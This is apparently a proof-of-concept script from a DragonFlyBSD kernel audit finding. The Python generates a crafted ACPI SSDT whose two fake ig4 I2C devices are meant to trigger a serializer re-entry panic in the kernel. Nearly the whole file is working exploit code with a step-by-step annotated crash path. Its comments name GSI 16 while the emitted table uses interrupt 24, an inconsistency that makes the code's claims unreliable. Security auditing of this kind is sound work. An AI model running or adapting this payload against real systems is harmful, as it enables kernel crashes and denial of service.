โฌข DragonFlyBSD Kernel Audit
DF-5617 / gen_ssdt.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
# DF-5617 โ€” generate the self-referential two-device SSDT ASL.
#
# The DesignWare register files (two 0x1000-byte windows, each covering the
# driver's reads through IG4_REG_GENERAL at +0x808, ig4_iic.c:504-508) are
# embedded as AML Buffer pad data inside this SSDT itself.  QEMU places the
# appended SSDT in the fw_cfg ACPI area (0xBFFE....) โ€” RAM from the guest's
# perspective (stateful), but not SMAP "System RAM", so ram_attach()
# (nexus.c:653-705) has not reserved it in nexus mem_rman and the _CRS
# allocations succeed.
#
# Two devices on the same GSI (16, the virtio MSI-X vector registered by
# register_int_virtual with NO rman entry โ€” kern_intr.c:637): the IOAPIC
# auto-balancer round-robins their registrations across different CPUs;
# virtio's handlers cover 5 of 6 CPUs, so at least one ig4's
# bus_setup_intr() -> nexus_setup_intr() -> register_int(16, INTR_EXCL)
# collides with an existing handler (kern_intr.c:276/284) -> NULL -> EINVAL
# -> ig4_iic.c:648-655 returns with the serializer held -> ig4_acpi.c:134
# ig4iic_acpi_detach() -> ig4_iic.c:678 lwkt_serialize_enter() re-entry ->
# INVARIANTS KKASSERT panic.
#
# Per-window layout (Wn = window base):
#   Wn+0x0F8  COMP_VER  = 0x3131352A   (passes the IG4_ATOM gate)
#   Wn+0x0FC  COMP_TYPE = 0x33C2D0C0   (print only)
#   Wn+0x100  magic marker "DF5617A!" / "DF5617B!" (locates the window)
import sys

PAD = 0x2000

def build_pad():
    pad = bytearray(PAD)
    def p64(off, b):
        pad[off:off+8] = b
    def p32(off, val):
        pad[off:off+4] = val.to_bytes(4, 'little')
    p32(0x0F8, 0x3131352A); p32(0x0FC, 0x33C2D0C0); p64(0x100, b"DF5617A!")
    p32(0x10F8, 0x3131352A); p32(0x10FC, 0x33C2D0C0); p64(0x1100, b"DF5617B!")
    return pad

def gen_asm(w0, out):
    pad = build_pad()
    bytes_lit = ",".join("0x%02x" % b for b in pad)
    w1 = w0 + 0x1000
    asm = f'''/*
 * DF-5617 PoC SSDT (generated by gen_ssdt.py) โ€” two ig4 ACPI devices whose
 * _CRS point their DesignWare register files into this SSDT's own pad
 * buffer, both on GSI 16 (virtio MSI-X vector: handler registered via
 * register_int_virtual, rman-free).
 */
DefinitionBlock ("ssdt_ig4p.aml", "SSDT", 2, "DFLY", "IG4ACPI", 0x00000001)
{{
    Name (PAD, Buffer (0x2000) {{{bytes_lit}}})
    Scope (\\_SB)
    {{
        Device (I2C8)
        {{
            Name (_HID, "INT33C2")
            Name (_CRS, ResourceTemplate () {{
                Memory32Fixed (ReadWrite, 0x{w0:08X}, 0x00001000)
                Interrupt (ResourceConsumer, Level, ActiveHigh, Exclusive) {{ 24 }}
            }})
        }}
        Device (I2C9)
        {{
            Name (_HID, "INT33C3")
            Name (_CRS, ResourceTemplate () {{
                Memory32Fixed (ReadWrite, 0x{w1:08X}, 0x00001000)
                Interrupt (ResourceConsumer, Level, ActiveHigh, Exclusive) {{ 24 }}
            }})
        }}
    }}
}}
'''
    open(out, "w").write(asm)

if __name__ == "__main__":
    gen_asm(int(sys.argv[1], 0), sys.argv[2])
    print("wrote", sys.argv[2], "w0=%#x" % int(sys.argv[1], 0))